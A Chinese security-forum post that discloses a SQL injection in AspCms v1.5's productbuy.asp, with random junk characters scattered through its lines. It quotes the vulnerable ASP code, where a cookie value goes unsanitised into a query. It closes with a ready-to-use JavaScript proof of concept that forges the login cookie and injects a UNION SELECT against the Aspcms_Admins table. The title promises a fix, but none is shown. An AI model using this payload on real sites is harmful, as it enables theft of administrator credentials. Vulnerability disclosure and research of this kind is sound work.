AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
6 |$ r& \) p5 b废话不多说，看代码：
2 e5 l7 q8 I8 Z; X1 s: C2 ^
<%

/ b, U  }) p% S. f( s9 e4 |if action = "buy" then
, _  O3 h8 Z# g. |. V' B
        addOrder()
" L: K! L# s* d' b! K# `9 R4 D
  M! T; P6 m! u3 ~  u) l  |else

6 C  Y3 b1 O2 q) }        echoContent()

end if

( j& e& i! N/ J8 s. ]* s
- A# C/ N3 `' h7 O. T  @) J1 W
……略过
4 g; t. Y- {: U4 b5 x
1 w9 ?1 q7 U! ?
, p9 C% |. X7 \/ `( `/ w$ c& k' q
Sub echoContent()

" g& q* {5 ?: H$ [/ L" g        dim id
9 K  L) z; V4 E) |6 Z
        id=getForm("id","get")

        

( E; q  u$ j/ \        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"

) e9 }; m  D: t- O        
$ i+ S- k9 {, `  ]
        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

2 ^$ u7 p- e# L# [" G        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct

        Dim templatePath,tempStr
& O7 |# K4 N7 Q7 R, t7 ?
        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
0 O0 N4 Z6 `0 q. g1 P0 o  Q: t* Z
9 b) F4 @: j" P* |7 L' y, e
. h* P4 S9 @2 ^0 r) x2 l
6 E& T0 _' q2 b6 o8 s+ A2 z        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

! K4 |6 n5 G; p$ W        selectproduct=rsObj(0)
% S/ ~! X* Q* K
* r' ~" D. M8 l2 `) G/ }9 ~. ~, \* `$ B        

        Dim linkman,gender,phone,mobile,email,qq,address,postcode
( U" O- D) p; x5 r( f/ S5 S
: O  S/ d; g/ R( L        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0

        if rCookie("loginstatus")=1 then  
2 n3 `, v% _) R/ |
                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
0 I+ F! O* o5 n: J# @
                linkman=rsObj("truename")
1 D- Y' E  L8 C' d
2 J* X' _1 U! L% U* U, A                gender=rsObj("gender")
% T7 c3 ~* k, h, a& x/ w: ]- [
                phone=rsObj("phone")

, V; r4 B1 v% m4 X  X                mobile=rsObj("mobile")
& v0 J9 H0 A4 I
                email=rsObj("email")

  ^. H" \; i( p& _+ j5 I" C, C                qq=rsObj("qq")

: {& j7 ~' X; k& H  P- T$ I                address=rsObj("address")

                postcode=rsObj("postcode")

        else
; U' J. U6 U' Q7 x  ]% @) |- T8 q
                gender=1

7 N; g3 Y) w: d: j. X        end if
1 u( N0 V! C+ l& ^5 F1 `
        rsObj.close()

7 W2 F, B' d0 |$ @: \               
0 G7 b8 h9 p: l6 Y0 ?2 E0 X9 M' P
3 N! {% h, p) A/ ], a        with templateObj
6 U6 K# Y, q) t* b. ^
( e- u) d9 z! E4 o3 z1 E# s) o! {                .content=loadFile(templatePath)        

                .parseHtml()
$ [: r  w  D$ H+ `
                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
+ e& R# [) f) N2 x" H# t5 Z* ?
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
* k2 \  j% p  z& I( q+ }8 z% e
6 A- d* Z% `, g1 l1 m' n6 S                .content=replaceStr(.content,"[aspcms:phone]",phone)               
' e& i; Z) s1 c! `
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               

% G3 `  O6 H' Y3 U                .content=replaceStr(.content,"[aspcms:email]",email)                        

# }. o! y$ r$ q' K  m0 b* @# Z                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
$ }- m8 j# P* u
                .content=replaceStr(.content,"[aspcms:address]",address)                        
. U$ T$ Q" b6 D, D+ R6 A
! [! T" j$ z' S* V8 y                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        
( ]+ D% E+ f' k2 `5 u
' g# u+ ^; T* M" Z/ g                .parseCommon()                 
) U- x5 p/ x  ~! ^
                echo .content
% {! R" M. |( H8 B. ]4 [; c! g% q6 i
        end with

! c  a2 s) X; k  l5 Q3 C+ V        set templateobj =nothing : terminateAllObjects

End Sub
) T6 z9 A1 B5 d" x5 E. K3 C漏洞很明显，没啥好说的
poc：

; U3 O; t/ J" ^/ L' k5 Ejavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​

9 f) p; k: W, V$ v: i& u" m